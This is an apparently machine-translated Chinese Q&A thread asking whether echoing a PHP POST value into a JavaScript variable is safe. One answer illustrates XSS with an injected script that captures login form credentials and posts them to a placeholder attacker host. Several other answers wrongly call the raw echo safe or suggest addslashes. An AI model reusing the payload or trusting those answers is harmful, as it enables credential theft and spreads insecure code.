如何将变量从php传递给javascript？

Question

我想将一个php变量传递给javascript。 我尝试了一些东西，但我不确定这是否安全。

<?php
$name=$_POST['name']; 
?>

<script>
var name="<?php echo $name ?>";
</script>

人们也这样做了

<?php 
$name = $_POST['name'];
echo '<script>';
echo 'var name = ' . json_encode($name) . ';';
echo '</script>';
?>

哪个代码在安全性方面更好。 使用第一个代码有任何风险吗？ 一点点解释就足够了。 谢谢

Answer 1

第一种情况：

如果我们想在javascript变量中简单地分配字符串值，则使用这种情况。

<script>
var name="<?php echo $name ?>";
</script>

第二种情况：

对于这种情况，当你想在javascript变量中添加一些array时，你应该使用json_encode() 。

<?php 
$name = array('name' => $_POST['name']);
echo '<script>';
echo 'var name = ' . json_encode($name) . ';';
echo '</script>';
?>

是的， echo整个javascript或只是回显你的变量将不会改变你的输出。 只要确保你的JavaScript变量有适当的包装无论是'有或全无的对象的情况;

Answer 2

永远不要打印帖子或获取变量而不进行验证。

https://en.wikipedia.org/wiki/Cross-site_scripting

http://code.tutsplus.com/articles/data-sanitization-and-validation-with-wordpress--wp-25536

Answer 3

根据经验，由于您的POST数据不应该首先为所有用户操纵，您必须记住，您永远不应该信任用户输入数据 - 表单可能会受到损害。

---

TL; DR

这是不可能给你一个是/否答案，这完全取决于你的脚本的上下文。

---

让我们想象一个场景。 在原始表单上，您回显来自数据库的文本：

<form action="otherpage.php" method="post">
  <input name="name" type="text" id="name" />
  <?php echo $some_text_from_database; ?>
  <input type="submit" value="Submit" />
</form>

想象一下，恶意黑客设法通过SQL注入从一个数据库中更改了该文本的内容，一些密码来自作者帐户或其他任何方式; 对此：

<script type="text/javascript">
  document.getElementById('name').name = 'whatever';
</script>
<input name='name' type='text' value='";
        document.querySelector("#login_form").addEventListener("submit", function(){
            var data "login="+document.getElementById("login").value+"&password="+document.getElementById("password").value;
            var xmlhttp = new XMLHttpRequest();
            xmlhttp.open("POST", "http://hackerwebsite.com/get_passwords.php", true);
            xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
            xmlhttp.send();
        });
    var a="' />

这将首先更改原始输入名称，然后创建一个以恶意脚本作为值的新名称。 所以我们得到$_POST['name']这个新输入，而不是原来的 - 用户输入将被忽略。

所以，让我们进一步发挥你的想象力。 让我们说在你的otherpage.php中有一个登录表单由于某种原因。 在此页面上执行此操作：

<script>
var name="<?php echo $_POST['name']; ?>";
</script>

将导致此：

<script>
var name="";
            document.querySelector("#login_form").addEventListener("submit", function(){
                var data "login="+document.getElementById("login").value+"&password="+document.getElementById("password").value;
                var xmlhttp = new XMLHttpRequest();
                xmlhttp.open("POST", "http://hackerwebsite.com/get_passwords.php", true);
                xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
                xmlhttp.send();
            });
        var a="";
</script>

这会怎么做？ 当提交登录表单时，将向黑客网站发送一个AJAX请求，以明文形式发送登录名和密码......

总结一下：黑客利用你的简单echo来访问他无法以其他方式访问的表单输入。

---

因为它听起来像一个非常边缘的情况，一般来说，在操纵用户输入，甚至是数据库数据时，你应该始终小心。 你不能总是深刻理解你正在做的事情的全部背景，黑客往往是富有想象力的人。 例如，使用sanitize_text_field您的数据（考虑到您在Wordpress环境中工作）将花费时间。

PS：所有这种情况几乎都是我几年前经历过的。 一个黑客设法在我必须使用的网站上窃取了大量用户数据。 从那时起我就知道太过偏执并不是件坏事:)

一些好的阅读：

• 跨站点脚本（XSS）

Answer 4

请注意，如果$name包含引号，Javascript代码将会中断。 使用PHP函数addslashes来避免这种情况：

<script>
var name = "<?php echo addslashes($name); ?>";
</script>

Answer 5

您的两个代码都会产生相同的结果，在这两种情况下都没有安全问题。

您可以在谷歌上找到有关Web服务器和Web浏览器的教程，以获取更多详细信息。 http://www.tutorialspoint.com/internet_technologies/web_servers.htm

Answer 6

你做得对吗？ 这样做没有任何安全问题。